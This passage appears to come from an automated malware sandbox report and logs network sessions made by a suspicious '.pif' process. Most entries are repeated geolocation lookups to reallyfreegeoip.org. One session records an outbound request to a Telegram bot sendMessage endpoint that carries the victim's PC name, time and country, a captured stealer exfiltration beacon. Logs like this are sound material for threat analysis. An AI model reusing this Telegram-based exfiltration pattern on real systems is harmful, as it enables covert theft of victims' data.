States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	53677	188.114.97.3	443	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:30 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:30 UTC	861	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:30 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461259 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3De0hopA1eHegT%2Bpl%2BCT1aBd2hKH6AtwnpDrkYtWrs%2B8qJ4uhWD15%2F7x%2FI9s7EH0pxk1auafIOr%2FWp1jKatBVer0TUTJuM3sWwHm544hZkpf1bOTYE1yNDA2PUuVJBdAcKSx6cDy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cc0fd8710f80-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1466&min_rtt=1463&rtt_var=556&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1957104&cwnd=207&unsent_bytes=0&cid=07c4690c4864d2df&ts=137&x=0"
2025-01-06 06:54:30 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	53689	188.114.97.3	443	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:31 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:31 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:31 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461260 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mc2C12fYYb3Fvduzhqhs7qRKMo8hShgD%2F%2FGv2TAB3z3KUlPI3u22CLh%2B0Q4AU4doUEtEqNfGlGrWYZk%2Bshf5Rc4gjpFjxooXIG3rbnwk8DGUKT33h1v%2FpqyOT8nPUVYlrk9eaLCQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cc189ff178e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2021&min_rtt=2021&rtt_var=758&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1444829&cwnd=234&unsent_bytes=0&cid=0cbb088b91578400&ts=157&x=0"
2025-01-06 06:54:31 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	53696	188.114.97.3	443	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:32 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:32 UTC	855	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:32 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461261 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=on72%2BeUOPlKGHX9wXf%2BjoxWb8saqnXoTrnZG8mRhABrFdXiauZ29MmKds4GK0Svh4D3o021zIXXxN48vxNg3IH9vFZjuEuAJI3v3xp74DelQkUKIFviS847bMgsmLJORv%2BdgHKsl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cc1d19248cb4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1955&min_rtt=1947&rtt_var=747&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1447694&cwnd=189&unsent_bytes=0&cid=d82de755b2e75d61&ts=195&x=0"
2025-01-06 06:54:32 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	53701	188.114.97.3	443	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:33 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:33 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:33 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461262 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jlNyefcL7o3ZxKPJsietoYM1EiHdlZnY%2BqmvfUXQb4phnj1n5h3y80Z%2Bf4mjJqsWVYWUe70nKKvaH71RG%2BjU9ifjqSoIQ3RYvyeX%2FnL00ww2Q3L9t%2Bb23lgzGLAyO8i68H5pSd0C"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cc211a794201-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2443&min_rtt=2429&rtt_var=921&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1202140&cwnd=225&unsent_bytes=0&cid=c6aad835eb5e261b&ts=132&x=0"
2025-01-06 06:54:33 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	53705	188.114.97.3	443	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:33 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-06 06:54:33 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:33 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461262 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FcXB365aE%2BoDPlf7SSoXnSvPpzaiCe1F2RxdApwdv5IjABFj%2BP168UigIUO6v1StrWvBwwnubPrd4c9diULETqA2bzkreEbWcueoC5grR1NuovH2GQ1N5ZHYk1Vt%2B%2BBfFyVzsQjh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cc227bf15e7d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1724&min_rtt=1716&rtt_var=660&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1637689&cwnd=227&unsent_bytes=0&cid=f1122c37c609f268&ts=138&x=0"
2025-01-06 06:54:33 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	53716	188.114.97.3	443	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:34 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-06 06:54:34 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:34 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461263 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LLs3vZJM6kIetBporrwfa44AaDxkwGSLZTYh%2FBxfOOfSP%2BgiCn%2FOCkQxxy9%2BP74Hz1tSaZQ9vSWr2tVOrp6CualmVJ7lXPOgsfnLefoiFA6vgEKz6liObrFyDmfyNi%2BCdNApKCnF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cc2a19360f39-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1721&min_rtt=1717&rtt_var=652&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1667618&cwnd=249&unsent_bytes=0&cid=595234606d845870&ts=159&x=0"
2025-01-06 06:54:34 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	53718	188.114.97.3	443	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:34 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:34 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:34 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461263 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7k51Qj41Rnd91QPmSPZpAioYkNN1fpzbE0svs%2FeUm78%2Fxsyey6sPvT8pk%2BvWEHkwZrY9Gd6HskRkHJmmpx5DmXeCwYpvoHkY5ZrfZqL4M%2F66LU89nTMJwrM9cKl0mlqH4bdotsz%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cc2b4cc48c18-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1800&min_rtt=1796&rtt_var=681&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1597374&cwnd=206&unsent_bytes=0&cid=6185d8b31e888703&ts=157&x=0"
2025-01-06 06:54:34 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	53730	188.114.97.3	443	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:35 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:36 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:35 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461265 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qrCNOPm1hAhd3UGlOdE%2FYM0Bssg5GXNaD8S7Ci5XunYHTOAXhlnthX6SRBHwhkRqxNnfF05UYPy2k%2Btqg5l19K%2BgGwBVOrkyaswAydeXbFAsNKYleMMfiuiY7W4dN5DAM%2FWjn3Uz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cc32bcf77d02-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1968&min_rtt=1962&rtt_var=748&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1449851&cwnd=230&unsent_bytes=0&cid=087290e32b572354&ts=139&x=0"
2025-01-06 06:54:36 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	53731	188.114.97.3	443	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:36 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-06 06:54:36 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:36 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461265 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LpobXGx74oNEEd0TvR9Abb4tiZPLMOdOjfulJEZUJ8Rtbqx%2FBiZGLvWB%2Fv2LL7cqkFR86OzcLR%2Fz5XziiTGTD7Y5iw6RVeYyz7gENVvU9FZJN%2B3Hu4WwJ8HsXh2E%2FoA7JAez4j2e"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cc342e4742c8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1733&min_rtt=1732&rtt_var=653&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1672394&cwnd=225&unsent_bytes=0&cid=deb32eb59412121b&ts=150&x=0"
2025-01-06 06:54:36 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	53734	149.154.167.220	443	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:36 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20and%20Time:%2006/01/2025%20/%2014:18:23%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20675052%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2025-01-06 06:54:36 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 06:54:36 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 06:54:36 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	53744	188.114.97.3	443	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:37 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:37 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:37 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461266 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U6p5vjyGq7azh%2F2DBFZXzXSzJ2RH858HQenkf%2BwnTdUFJGhWOWsBveYWbp249cuMkVATNa7U3a8wZcVtXYDBSgndEcqf07%2F0Ose%2BLEPgxfovAvpKzFLzvkMR8Llu4GodBFZywh1A"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cc3cfb2c4251-EWR alt-svc: h3=":443"; ma=86400 server-timing: 